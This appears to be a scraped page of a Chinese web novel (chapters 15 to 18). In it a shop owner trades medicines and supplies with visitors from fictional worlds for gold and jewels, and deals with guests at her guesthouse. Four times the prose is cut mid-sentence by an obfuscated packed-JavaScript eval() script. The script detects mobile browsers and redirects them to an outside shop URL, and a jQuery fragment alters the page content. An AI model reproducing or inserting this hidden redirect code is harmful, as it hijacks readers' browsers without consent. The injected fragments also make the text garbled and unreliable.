大结局是什么她不知道，因为作者彩票中奖，写到一半坑了，气得本就焦虑的萧妧妧口腔溃疡，好几天吃不下饭。 唯一可以肯定的是，女主申明月一路火花带闪电，把前来挑衅的各方势力揍得人仰马翻，扩张版图还收容流民，最后登基，成为留名青史又饱受争议的女帝。 当然，其中的艰险不提也知道少不了。 “萧老板这般看着我……可是有什么不妥？” 申明月被萧妧妧近乎慈爱的目光看得头皮发麻，忍不住出声问。 萧妧妧回神，看她小小年纪，说话有理有度，不卑不亢，本就不低的好感度直接翻倍。 毕竟是她抱着手机追了几个月，哭着喊着要打call的纸片人女鹅。 小说坑了又怎么样，她可以看实况转播！ “处理你一身伤可不容易，你的谢我收下了。” 申明月眉头一松，从袖子里掏出一木匣。 “萧老板侠义心肠，我也不能辜负，特此准备了谢礼。” 萧妧妧半张着嘴，指了指自己，神情意外，“给我的？” 申明月脸颊微红，她挠挠头，“那日我并非昏死，还留有一些意识，萧老板为我费心了。醒来后不告而别是我不对，实在是放心不下同伴，我见院中无人，天色又晚，不好打搅萧老板，便想着料理完私事再来与萧老板道谢。” 萧妧妧听她说了一长串，接过匣子。 匣子四四方方，似乎是镶嵌了螺钿，以及一些绿色石头。 料想颜色不够鲜亮匣子里应该是放了金锭银锭一类的东西，揭开盖子，萧妧妧知道自己狗眼看盒低了。 盒子朴素，关盒子里的东西什么事。 “这……这是不是太贵重了？” 萧妧妧对珠宝什么的并没有研究，但不妨碍她通过颜值色彩给匣子里的东西下判断。 它们看起来很贵。 萧妧妧盯着匣子里满当当的珠串，目光发直。 申明月神色认真，“萧老板救了我，还给我用了上好的伤药，给这些不算多。” 要不是逃亡路不太平，没时间休整，申明月想给更多。 霸总还没砸来珠宝首饰，房产股权，霸道公主先送来了一匣子璀璨夺目的珠宝。 萧妧妧哪扛得住啊，啪嗒一声，匣子盖紧，抱进怀中。 “既然你诚心诚意的送了，那我就厚着脸皮收下，李女士，你真是个好人，给这么多，弄得我怪不好意思的。” 萧妧妧嘴里说着不好意思，手上动作一点没落下。 申明月看得一愣一愣的，好一会，笑意爬上唇角。 “萧老板留的纸条我看了，请问萧老板，单子上的什么贴，您还有的卖吗？” 申明月从怀里掏出两张A4纸，展开后，繁体字规整排列，促销标语醒目夸张，手绘商品图小巧有余，可爱不足。 但它们不是重点，能看得懂繁体字的申明月差点以为自己进了地府，否则怎么能见到这么多天外来物？ 不管是纸本身，还是纸上写下的物品，以及小卖部的存在，无不是在颠覆她的认知。 她以为自己在做梦，直到前来接应的同伴惊叹她伤口愈合速度，以及闻所未闻的药物。 申明月下意识藏起了那两张纸，没跟任何人提起这段奇遇。 要不是自小伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491440|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候她的丫鬟重伤，血流不止，申明月是不打算和来历古怪的小卖部有所牵扯，那把匕首，就当是了结。 太古怪了，什么召之即来挥之即去，神神鬼鬼的，一听就不是好东西，申明月不觉得自己能掌控它，所以远离最妥当。 当然，想象很美好，现实给了她暴击，最后不得不带上财宝求上门。 萧妧妧听完她的需求，暗暗得意。 看吧，没有人能拒绝小卖部，如果有，一定不是人。 “有，用在你伤口上的是减张贴，止血的药粉是云南白药，需要多少？ 事先说好，我不收银票和铜钱，金银最好，如果用其他物件换也可以。” 申明月所在的故事背景完全架空，除了珠宝用得上，其他物件拿到三次元，最多算个有年代的艺术品，不值钱。 如果像玉扳指那样运气好，恰好蹭上了某个大佬名头，或者拥有某个朝代的文物特征，倒是有可能捡漏，获得暴利。 但可能性太低了，没必要去赌一把。 申明月心下一松，有得卖就好，用金银等财物交易就更好了，踏实。 “减张贴有多少要多少，止血药粉是怎么算？” 萧妧妧担心她不清楚规格，头脑一热就下单，于是拿出东西展示给她看。 “喏，减张贴有不同尺寸，一包有二十条，需要大一点还是小一点的？ 你身上的伤大概用了一瓶粉，你估算一下，需要多少瓶。” 申明月呆住了，没想到看着不起眼的小东西如此复杂。 她比划了一下，又回想同伴身上的伤势，估算道：“中等长度的减张贴要400条，止血药粉需要80瓶。” 这两样是她切身体会过药效的，放心大胆的下单，其他东西看不懂用途，申明月持谨慎观望态度。 “我再送你两瓶碘伏，可以冲洗伤口消毒用，类似你们那边用烈酒冲伤口，作用差不多，但是碘伏消毒更好，防止感染。” 申明月没听太懂，只知道萧妧妧要送她东西。 “多谢萧老板。” 不管心里怎么想，申明月老老实实又来一次躬身作揖。 “你先回去等着，大约一两个时辰后再来。” 萧妧妧列好清单，顾不上申明月，打开外卖软件。 这一看才发现，想凑到申明月需要的数量并不容易。 云南白药同时在十家药店下单，勉强能凑齐，减张贴就难了，网店专营店下单最快也是晚上发货。 萧妧妧不做他想，锁门闭店，亲自跑一趟医院旁边的医疗器械专营店。 镭射紫的史努比嗖一下蹿出去。 刘叔探出半边身子看了又看，摇头叹气。 哎，不倒闭小卖部怕是真要倒闭喽。 16. 第 16 章 史努比停在医院旁的医疗器械专营店，萧妧妧仰头望着一百多平的店面，不由庆幸。 幸好金元宝兑成了现金，还在今天到账，否则就耽误大事了。 “碘伏十三箱，减张贴大中小各一百盒，纱布二十箱，疤痕凝胶一箱，消毒酒精棉十五箱……您确定要买这么多？” “对对对，你没看错，照着准备吧，我叫了面包车，等会过来拉货。” 店员眉头紧皱，看萧妧妧气定神闲，点头后还在手机上忙着下单米面速食日常用品。 “咋滴，您这是末日囤货呢？” 萧妧妧一顿，侧了侧手机屏幕，挡住店员偷窥的视线。 “嗯，网上说这几天热得诡异，可能是末日来了，我得提前准备点。” 店员已过不嚯之年，闻言还是没忍住嚯了一声。 萧妧妧全当没听出他话音里的嘲谑，“帮忙搬上车，谢谢。” 店员深吸气，认命的从库房里推出小拖车，盘点货物送上门外等候的面包车。 即便萧妧妧手脚麻利，速度飞快，一来一回仍是耗去一个多小时。 史努比引着面包车停在路口，下单的外卖已经堆放在小卖部正门。 司机进出搬货，引得刘叔冷落手机里的黑丝美女，疑惑关心。 “妧妧，你进这么多货啊，小卖部吃得下吗？” 不是他多嘴，小卖部有多少客流，他心里比谁都有数，不像是做出大生意的样子。 萧妧妧反省，以后再有大批订单的时候，必须晚上接货。 “叔，网上说要末日呢，好多年轻人囤货，我多准备点，到时候全卖给他们。” 这……原来是发末世财啊。 刘叔瞪目结舌，半天说不出话，最后挠挠头坐回去。 付清搬运款项，给师傅递去一瓶水，萧妧妧端着新到的琉璃果盘绕去刘叔的店铺。 “叔，帮我挑两个西瓜呗，一个带走，一个帮我切了堆这个盘子里。” 刘叔笑着搭话，“你家来客人了，就带一个西瓜啊？多挑几个呗。” 这倒是提醒她了，东西可以多准备点，总有一个能戳中申明月的味蕾。 对了，投其所好的话，最好是多买几本兵书。 萧妧妧笑容加深，眼眸水润晶亮。 “不了叔，两个西瓜足够了。” 谁不知道谁啊，刘叔家水果卖得贵，要不是图省事，她是不会光顾的，即便她现在钱包鼓鼓。 萧妧妧放下果盘，跑回店里下载繁体字版的兵书，字体加粗放大后打印其中两页，再做出不经意的样子，贴在后门墙上的展示板。 “我可真是块做生意的料子。” 萧妧妧满意叉腰，下单两杯清爽冰凉的柠檬水，以及一些甜品糕点。 杀伤性武器不好买，萧妧妧犹豫一会，决定囤三千支玻纤箭，如果申明月看不上，不妨碍七天无理由退货。 萧妧妧双手捧脸，畅想未来，脸颊笑得酸疼时，手机接连响起提示音。 【您尾号1234的储蓄账户7月25日16时49分收入人民币544803.3元……】 【您尾号1234的储蓄账户7月25日16时52分收入人民币182000.2元……】 萧妧妧乐不可支，余额翻来覆去的数了又数。 兴奋劲过去，算出银行的欠款，再加上欠父母的32万，合出总数，把相应的款项转移到另一张卡上，只等找到合适时机还掉，无债一身轻。 剩下不到20万，将是她以后购买各类物资的本钱。 萧妧妧戳着计算器算了又算，发现这些钱足够她花上许久，苏娇娇送来的两条小黄鱼没必要拿去变现。 毕竟和现金比，持有黄金明显更划算。 萧妧妧喜滋滋，奶茶甜点和水果摆满法式小圆桌，鲜花插进玻璃花瓶，是时候算一下价格，卖多少才能大赚一笔。 “归零归零归零……” “欢迎光临~” 萧妧妧早早锁了前门，就等申明月出现，看店神器响起，她不做他想，抬头招呼客人。 “你来啦，减张贴……苏女士？” 话音戛然而止，来人不是申明月，而是苏娇娇。 “萧老板是在等人？” 苏娇娇难得笑吟吟的上门，瞥一眼小圆桌，暗道自己太过激动，扰了萧老板。 萧妧妧脚趾轻微扣动，糟糕，水没端平就算了，还让人撞见。 她含糊应了一声，问：“药效怎么样？” 苏娇娇笑容越发真诚，“多谢萧老板帮忙，您卖的药实在是……我听了你的话，只拿去半颗，没想到只用半颗，我的同伴立即退烧，连医生都惊讶。萧老板你放心，我知道轻重，没说药是从哪来的。” 苏娇娇很谨慎，只说从其他好心同志那里匀来半颗，来处不可查。 她明白，一旦有人发现药效极佳，送去国外检测，必定引来风暴。 这场风暴，她扛不住，对风雨飘摇的国家而言，也不知是好是坏。 苏娇娇打定主意，以后再有同伴需要用药，必定亲自看着人把药吃下。 萧妧妧听到是好结果，心下放松。 “萧老板，如果我还想多买些药……”见萧妧妧拧眉思索，苏娇娇急促补充，“不多的，一盒两盒，我想留在身边以防万一。” 这事好办，抽空去医院一趟开药，或者药店找找。 “没问题，两天吧，两天后你来店铺找我。” 萧妧妧拉着苏娇娇去了后院。 “记着这斗柜，如果我人不在店铺，东西会放在斗柜第一个抽屉里，钥匙我放在花瓶里，你自己取。” 斗柜款式老，萧妧妧不喜欢，但它是红木料的，扔了可惜，于是一直放在屋檐下。 深棕色的斗柜有九格抽屉，每格都带锁，靠着砖墙很不起眼，正好方便她们传递东西。 毕竟各个位面流速不同，有时差很正常，但小卖部不可能24小时营业，她也不可能一直守在店里。 “如果你有什么需要，可以塞纸条进去，我会检查斗柜的。” 萧妧妧想，或许准备一部老人机留在店里更方便，只要教会客人们怎么通过电话方式联系她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491441|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏娇娇一一牢记，这和他们接头方式大差不差，甚至要更简单，轻易接受了，并不觉得有被怠慢。 “萧老板，还有一件事，我可不可以在你这里寄存东西？”苏娇娇忐忑开口。 萧妧妧想也不想的回答，“当然，不会有比我的店铺更安全的地方了。” 即便苏娇娇不给钱，萧妧妧也很愿意为她提供服务。 苏娇娇激动地抓住萧妧妧双手，不知道说什么好。 这次转移文物的任务与她无关，但东西多，风险非常大，极容易暴露，了解危险性后，苏娇娇自然而然想到了小卖部。 她试验过，在死胡同里召唤出小卖部，在联络点米铺用新换的咒语，依然能召唤出来。 回家后在衣帽间里，她抱着试试的心态念叨咒语，仍旧看到了暖黄的大门。 深夜，躺在床上辗转难眠时，苏娇娇像个喜欢恶作剧的孩子，不断召唤出小卖部，看着暖黄灯光，幸福入睡。 既然有小卖部这么逆天的存在，苏娇娇便不想让整组的同伴冒着必死的危险接任务。 苏娇娇热血上涌，腾一下起身，扛起重任。 等到事后，苏娇娇才反应过来，她还没能争取到萧老板的同意，忙不迭赶来。 “东西比较多，”苏娇娇递来一直提在手上的小礼盒，“这些是给萧老板的一些心意。” 萧妧妧没想到，刚收下一个匣子，没多久又来一个。 “不，放几样东西而已，实在不必如此。”萧妧妧客气的将礼盒推回苏娇娇手中。 “萧老板还是收下吧，我们有规矩的，萧老板愿意帮忙存放东西，我们也不能让您吃亏。” 萧妧妧虽然好奇礼盒里的东西，但确实是不打算收的，对她而言，能帮上忙，贡献自己的力量，已经很满足了。 她还要推拒，苏娇娇紧跟着说了一番话，“实不相瞒，要寄存的东西对我、对我的组织而言，非常重要，不能有一点闪失，如果萧老板不收钱，我的同伴恐怕……” 未尽之言是什么意思，萧妧妧秒懂。 “好，苏女士这么说，那我就不推辞了，你放心，绝对不会让东西有一点损坏。” 萧妧妧隐约猜到了是什么东西，这会正浑身滚烫，心口怦怦跳。 救命！她可能参与了文物转移的任务！ 天哪，这要能说出去，别说单开族谱，她在祖坟蹦迪都没人敢拦。 萧妧妧忽然生出了强烈的使命感，趁着东西没送来，赶紧腾空系统仓库。 东西归拢一下，只有两个小匣子，一个是龙傲天给的，里面装了两块小黄鱼，另一个满当当的匣子是申明月给的，翡翠耳坠一起丢进去。 两个匣子，说是她全部家当不过分。 哦，还有苏娇娇刚带来的礼盒。 萧妧妧惦记着等会要上门的申明月，暂时没空去看礼盒，东西整理完毕，一股脑塞进卧室的保险柜。 等她拍拍手回到前面，申明月已经出现在店铺。 打扮干净利落的少女弯着腰，直勾勾地瞅着琉璃鱼缸，好奇打量精致漂亮的糕点。 17. 第 17 章 “咳咳” 清清嗓子，萧妧妧迈步进入。 申明月嗖一下站得笔直，双手负背，若无其事。 “萧老板，我来拿药。” 萧妧妧抬手示意圆桌，请她稍坐，“东西很多，我尽量帮你打包好，你先吃点喝点，等我片刻。” 说着话，吸管插进柠檬水，一杯递给申明月，一杯自己喝。 申明月迟疑一下，接过柠檬水，学着萧妧妧的样子咬住吸管，嘶…… 有点甜，有点酸。 皱成一团的五官在渐渐适应柠檬水味道后舒展开，咕咚一口下肚，申明月神情惊艳，又猛吸一大口。 萧妧妧指了指西瓜、泡芙和酸奶布丁，“餐具在旁边，你先吃点垫垫肚子。” 交待完，萧妧妧果真转身离开。 减张贴、云南白药、碘伏，全部拆掉包装，装进运动双肩包，刚刚好。 她一手拎包，一手拿着打印好的使用注意事项，再回到前面小卖部，桌上竟然空了一大半。 萧妧妧捂嘴偷笑，嘻嘻，拿捏！ 她假装没看见，严肃着脸走进去。 “喏，东西都在包里，包是送你的，背着特别方便。”萧妧妧演示一番，找来打包盒，装好剩下半盘西瓜，“这是我们这里独有的水果，叫西瓜，喜欢吃下回来可以多买点。” 申明月默默记下名字，背起双肩包，拎着一盒西瓜，而后从荷包倒出一块金锭。 “萧老板，我身上只有这么多，若是不够，我再添些珠宝可行？” 申明月多得是珠宝布料香料等物，给多少她都不心疼，只怕萧妧妧不收。 萧妧妧看过书，知道申明月缺钱花，到了后面打仗的时候更缺，但唯独不缺古玩珍宝。 毕竟东西易得，找买家却不容易，无法变现一直是申明月头疼的问题。 萧妧妧双手接过金锭，感受一下份量，应该有1500克，她哪里会有意见。 她连连点头，“够了够了。” 幸好她嘴慢，没先一步说出三十两银锭的价格，谁会嫌钱多呢。 申明月忐忑观察一阵，稍稍松了一口气。 人无癖不可交，萧老板一副财迷样反倒让她安心不少。 五十两金子，真便宜啊。 申明月怕她反悔似的，提上东西就要走，一只脚迈出门槛，又慢吞吞收回来。 “萧老板，店铺当真可以随时随地进出？”她扭头确认。 萧妧妧想了想刚成形的营业规则，缓慢讲解，“营业时间是我这里的早上九点到晚上五点，周末休息，非营业时间店铺正常开放，不过没人招待。” 都自己当老板了，保证双休很合理吧？ 考虑到苏娇娇和申明月的需求，萧妧妧没把规矩定死，方便她们遇到麻烦可以躲进小卖部暂避。 说着，她动手把店铺营业时间写上展示板，拿出一盏可变色小夜灯。 “喏，解释起来有点麻烦，只需要看这盏灯。 亮红灯表示休息，亮绿灯是在营业，亮黄灯意思是店里无人，有需求可以留言。” 萧妧妧给申明月也发了一把钥匙，告诉她联络方式。 “虽然我不是时时刻刻都在店里，但小卖部确实是时时刻刻都可以进入。” 申明月攥紧钥匙，眨巴眼睛望着面前年轻漂亮的小卖部老板娘，“萧老板，你人真好。” 萧妧妧脸颊微红，腼腆微笑，心里土拨鼠尖叫。 好突然，纸片人女鹅给我发好人卡啦！ 笑容直到申明月离开都没收敛，外卖小哥送来食材，萧妧妧才想起要早点回家，家里还有个云昭昭等着她呢。 史努比穿过街巷，回到月牙巷深处的春山居，天色刚擦黑。 萧妧妧拎着一大包食材进了院子，发现一楼客房黢黑，云昭昭不见踪影。 嘟囔一句奇怪，她掏出手机打电话，拨出去没两秒，楼上传来摔门声，紧跟着脚步声匆匆，啪嗒啪嗒踩着楼梯下来。 抬头一看，正是她要找的云昭昭。 “昭昭？你身上这是怎么了？” 人走到灯下后，萧妧妧发现她身上湿漉漉，双手环胸遮掩自己的狼狈。 云昭昭慌乱不已，低垂着脑袋免得让妧妧姐察觉。 “妧妧姐……楼上的住客说浴室花洒有问题，要我去更换……” 她支支吾吾的话音里，萧妧妧勉强听出来龙去脉。 “是201的季先生？我回头让阿姨上去一趟，你别管，”萧妧妧拉着她进房间，“先去换衣服。” 云昭昭小声应答，扭扭捏捏地钻进浴室。 萧妧妧没注意到她脸上的不自在，回前厅打电话叫阿姨上门工作。 等云昭昭冲洗一番，换上干净衣服出来，萧妧妧也整理好措辞，招手示意云昭昭坐下。 云昭昭心不在焉地落座，手指不安地搅动衣角。 “昭昭，你在我家放心住，其他事情都不重要，”看云昭昭埋着脑袋一个劲点头，萧妧妧吸一口气，说起正事，“我家开民宿的，日常一些杂事是包给附近阿姨负责，以后再有住客找来，你大声告诉他们，你是春山居的客人，让他们打服务电话，别傻傻的自己去帮忙。” 云昭昭见她突然严肃脸，心里慌张，认为自己做错了事，急促解释。 “我……我只是想着顺手的事，我在家经常修理这些……” 萧妧妧拍拍她的手，“我知道昭昭是想帮忙，谢谢昭昭。 但是，万一客人不怀好意呢？ 家里只有你在，住客还是个身强力壮的男人，我肯定不放心。 而且这些事本身和你没关系不是吗？你是来做客的，你就只管安心住着。” 云昭昭忽然哑声，想到201的住客，垂下脑袋，她知道妧妧姐说得是对的。 “对不起妧妧姐，我好像给你添麻烦了。” 想着云昭昭要在家里住至少一个月，萧妧妧不得不多提几句。 “这算什么麻烦，我是怕你傻乎乎地冲上去回头吃亏了。 我没别的意思，就是希望你学会保护好自己。 要是看到那种醉醺醺的住客，更不能管，躲远点。” “对了，201的住客没为难你吧？ 你没来之前啊，他差点把客房里能看到的东西全换了一遍，他要是说了什么，你别放在心上。” 萧妧妧觉得季先生很难搞，先入为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491442|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主的认定他脾气大，怕云昭昭在客人那里受委屈。 云昭昭连忙摇头，“没有没有，季先生什么都没说。” “咚咚咚” 萧妧妧还要再说几句，前厅的玻璃门被敲响。 两人抬头，好巧不巧，就是她们刚刚谈到的201住客，季先生。 张芸女士说的没错，确实是帅的，但是萧妧妧现在无暇欣赏。 救命啊，怎么背着客人说坏话还让人当场抓包了！ 也不知道来了多久，听到了多少，他最好是刚来！ 萧妧妧头皮一阵发麻，脚趾在洞洞鞋里疯狂扣动，咯吱咯吱响。 太社死了！ 她僵硬微笑，缓缓起身，“季先生，是不是花洒出问题了？我已经安排阿姨上门检查，您稍等一会。” 季先生很意外的给了个笑脸，指了指沙发上的云昭昭，递来一盒药。 “谢谢，不用了，花洒可以正常用。她撞上浴室的洗手台，这是药膏。” 萧妧妧愣了愣，回头看一眼云昭昭，扭过头来，“谢谢季先生啊，您人真好，还送了药。 季先生，她是我家的客人，对民宿不熟悉，以后有什么需要可以跟我说，或者给我爸妈打电话都行，我们帮您安排。” 季先生收回视线，落在萧妧妧脸上，嘴角勾到礼貌的弧度。 “不好意思，当时着急，以为她是工作人员，这样，改天我请她吃顿饭，算是赔罪。” 萧妧妧困惑的啊了一声，不知道怎么回话了。 云昭昭蹭一下站起，鼓着脸颊，“不、不需要，举手之劳，麻烦季先生跑一趟。” 季先生倒是没再说什么，轻轻点头，转身离开，云昭昭明显松了一口气。 萧妧妧一头雾水，总感觉两人气氛怪怪的，尤其是季先生看云昭昭的眼神凶得可怕。 “在楼上没出事吧？要是受委屈了你跟我说。”她不放心，又重复一遍。 云昭昭迟疑几秒，摇摇头。 萧妧妧狐疑看她，没等说什么，云昭昭张开双臂抱了过来。 “妧妧姐，你真好，我最喜欢你了。” 女孩声音柔软，在她耳边哼哼似的撒娇，萧妧妧受不了这招。 “我也最喜欢我自己了。起来，先把药擦了。”抱了一会，她推了推云昭昭的胳膊。 云昭昭身形一僵。 萧妧妧扒开药盒，旋开盖子，“撞哪了？我看看。” 云昭昭面颊爆红，连连摆手，“不不不，不疼的，这会已经没感觉了，用不着擦药。” 萧妧妧见她坚持，便没继续，药膏交到她手里。 “看不出来季先生这么绅士，连药膏都送来了。 说起来怪尴尬，还好咱们俩没说过分的话。” 萧妧妧回想一下，幸好她用词谨慎，不然真要没脸招待客人了。 云昭昭闷不吭声，盯着药膏魂不守舍，红晕渐渐从脸颊蔓延到锁骨，整个人粉嫩嫩。 萧妧妧心头的古怪感觉又冒出来了。 想来想去，并没有哪里不对，遂抛之脑后。 “走，去厨房，今晚姐给你露一手。” “妧妧姐，我也给你露一手～” 18. 第 18 章 暴富以后钱怎么花，这个问题萧妧妧想过无数次，可惜并没有真的暴富。 现在手里有钱了，萧妧妧发现，这点钱也不足够她肆意消费。 第二天一早，她数着余额，计划购物清单。 要准备的东西并不少，光是药物一项就是一个大工程。 盘算下来，一个上午的时间都要耗在外面。 萧妧妧看了看外面毒辣的日头，叹一声气，不情不愿从被窝钻出来。 云昭昭早早醒来，在院子里浇花，餐桌上摆放着温热的米粥和包子。 萧妧妧老脸一红，吃完饭负责洗碗工作。 要出门时，她看到云昭昭又换了一套衣服，在镜子前别别扭扭。 “今天要出门？要不要我送你去地铁站？”萧妧妧顺嘴问了一句。 云昭昭高兴地回答：“妧妧姐，我今天要去面试家教，都不远，在月牙巷附近。” 萧妧妧一听是面试，还是在附近，感叹一会小姑娘真能干，行动力超强，转身回房间扒拉衣柜。 “穿这件去吧，看起来是家长信任的模样。” 云昭昭本就清纯漂亮，眉宇间稚嫩青涩，穿着白T和牛仔裤越发显得年纪小，且她的衣服大多洗得发白变形，平时穿穿无所谓，面试还是要得体一点。 云昭昭愣愣接过淡蓝色连衣长裙，又低头看了看自己不太满意，却为数不多清爽干净的衣服。 “谢谢妧妧姐，我会洗干净还给你的。” 云昭昭知道自己应该接受裙子，于是大大方方地接下了，飞快拥抱一下萧妧妧，跑回房间。 萧妧妧给她发去自家门牌号和民宿定位，要是巷子里迷路了，也方便找回来。 月牙巷很大，纵横交错，大巷子套小巷子，小巷子连着街道、公园、园林，是南市不多见的开放式景区，非常复杂。 大部分巷子只能步行，一旦迷路，那可真是遭老罪了。 安排好云昭昭，萧妧妧放心的出门了。 由不得她磨蹭，现在正是一天中最清爽的时刻，又是工作日，社区医院连看病的队伍都要短一截。 萧妧妧首先去医院开处方药，能想到的药品都买了，又支支吾吾地开了两盒伟哥。 这药放在三次元可能不稀奇，放在古代，那还不是惊艳众人，轻松拿捏所有男性？ 申明月缺钱，萧妧妧也很缺钱，两人联手倒买倒卖，赚钱就是分分钟的事。 萧妧妧掩饰性地压了压镭射紫狗耳头盔，挡住自己快要飞起来的嘴角。 医院买了药，药店更不能放过，萧妧妧所剩无几的医保卡直接刷空。 医药类用品采购结束，已经是上午十点，回店铺的路上，她顺带买了一部老年机，办了一张新的电话卡。 其他有的没的，萧妧妧已经没劲想了，不如网上下单。 还有之前上门推销的经销商，萧妧妧同样不放过，矿泉水、打火机、卫生纸、A4纸……凡是客人们多看两眼感兴趣的，她都一一下单。 她的顾客她来宠！ 一连联系了七八个经销商，需求提了不少，惊得他们多问了几句。 萧妧妧敷衍的很，一句末世囤货打发了。 回到小卖部正好十二点，昨天已经炫耀过新车，史努比直接推进院子。 刘叔盯着萧妧妧进店，摇摇头，继续玩手机。 做好开店前的准备，再把买来的医药用品存放好，萧妧妧手头上的杂事到此结束。 来不及歇口气，顾客接连上门，感应门开开合合，带来了夏日暑热气息。 等过了最忙碌的时段，已经来到下午2点，萧妧妧仍旧没能得空休息。 擦拭柜台，拖去地上污渍、脚印，斑驳光线洒下，洁白瓷砖倒映跳跃的阳光浓荫，朦胧绿色笼罩了整间店铺。 萧妧妧站在门口，活动肩颈，远眺连绵的树冠，享受这一刻的闲暇。 书报亭下的卖花大爷还在那里，红色塑料桶里有四五只莲蓬，七八朵含苞粉莲花，她抬脚上前，买走桶里所有荷花莲蓬，抱回小卖部，找来新买的玻璃花瓶插上，挪到柜台附近。 萧妧妧又望了一圈，整洁，干净，清爽，不倒闭小卖部简直就是她的梦中情店。 她满意地拍拍手，回到后院，仔细观察申明月送来的木匣，以及苏娇娇带来的礼盒。 盘腿坐在地上，匣子礼盒齐齐摆放。 匣子里一共开出32件珠串，分不清是项链还是手链，蓝的粉的白的绿的，大珠子小珠子，堆在一起鲜艳夺目。 萧妧妧不知道它们算不算贵重，单从花里胡哨的颜色来看，是真漂亮。 她一件件套在手上试戴，哇声连连。 再去看礼盒，小小一个，萧妧妧没多想，打开看时惊了一跳。 一尊貔貅！还是金貔貅！ 萧妧妧是真没忍住，貔貅提溜到手心里感受一下，大概有她手掌那么长，掌心那么高，沉甸甸的。 是实心，就是不知道内里和外面一样纯金打造，还是其他材料。 东西摆了一地，惊讶过后，萧妧妧开始犯愁。 东西应该是好东西，但是这么多好东西，她要怎么出手？ 出手前还有一道步骤，鉴定。 萧妧妧不能稀里糊涂的把东西卖出去，至少自己得知道卖出去的是什么，价值几何。 送拍卖行？不行，才送去一枚银元，而且拍卖行很在意物品由来，说不清道不明的东西，人家不一定收。 找方爷爷？更不行，几十年老街坊，彼此知根知底，一下子拿出那么多好东西，方爷爷肯定以为她去盗墓了。 联系鉴定中心？可鉴定中心门往哪开她都不知道，哪些靠谱哪些不靠谱就更不清楚。 万一遇上挂羊头卖狗肉的，到时候再给她的宝贝掉包……风险太大。 左思右想，萧妧妧竟然找不到一个靠谱的方案。 正犯愁，手机叮叮响，云昭昭发来消息，她的面试通过了，成功获得家教工作。 萧妧妧暂且放下愁绪，给云昭昭回消息。 这时候，弹窗新闻从天而降，萧妧妧不耐烦地划开，余光瞄到标题后，整个人一顿，赶紧下拉。 【鉴宝博主骗粉睡粉，起底百万博主……】 萧妧妧眼睛唰得一下瞪大。 对哦，她怎么没想到可以从网上连线鉴宝博主。 小卖部挂上“无人自助”牌子，确保没人打扰，萧妧妧开始在网上寻找目标。 热门博主她排不上队，且直播时间很晚，她没时间等。 一连排除几个大热门，只有九十万粉丝的博主闯进了她的视线。 看了往期的直播剪辑，萧妧妧非常喜欢这位主播淡淡的风格，不露脸，声音很有磁性，说话永远是不急不躁。 他不像是博人眼球的网红，倒像是真的想教会粉丝如何鉴宝、识宝，传播历史文化。 再看评论区的网友爆料，果然和网红不太一样，博主是C大的教授，专业对口。 萧妧妧更放心了，她正需要靠谱的鉴宝博主帮帮忙。 投出十几个火箭炮，萧妧妧成功吸引了整个直播间以及博主的注意。 －有人砸火箭炮，一看就是新人。 －@【38离异拼二胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491443|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】傅教授直播间有规矩，不砸礼物，大姐可以给我砸。 －这回不会又是C大的学生故意连线问作业吧？ 萧妧妧看到评论，赶紧申请直播连线，表明来意。 －鉴宝？你可算找对地方了，傅教授绝对给你惊喜。 －刺激刺激，好久没看到有人连线博主鉴宝了。 －不想上课了，要看鉴宝～ 评论区飞速刷屏，萧妧妧根本来不及仔细看，好在没多久，博主同意了她的连线请求。 萧妧妧对直播连线什么的很陌生，她礼貌的跟着称呼一声傅教授，重新说明来意。 她忐忑的打预防针，“博主，我需要鉴定的东西可能有点多，大概30多件。” “没关系，不算多。” 傅教授确实淡淡的，省去寒暄步骤，直接让萧妧妧调整镜头，对准需要鉴定的物品。 萧妧妧巴不得早点知道结果，心中一喜，打开房间所有灯光，拿来手电筒。 手机刚固定好，直播间传来声音。 “东西靠近一点，有其他颜色的灯光吗？怼上去。” “翻过来再看一下。” 萧妧妧手忙脚乱照做，顺带看一眼屏幕上的效果，哪知道直播间弹幕乱飞，挡住了大半画面。 －卧槽，刚刚我看到了什么，有金光闪了一下。 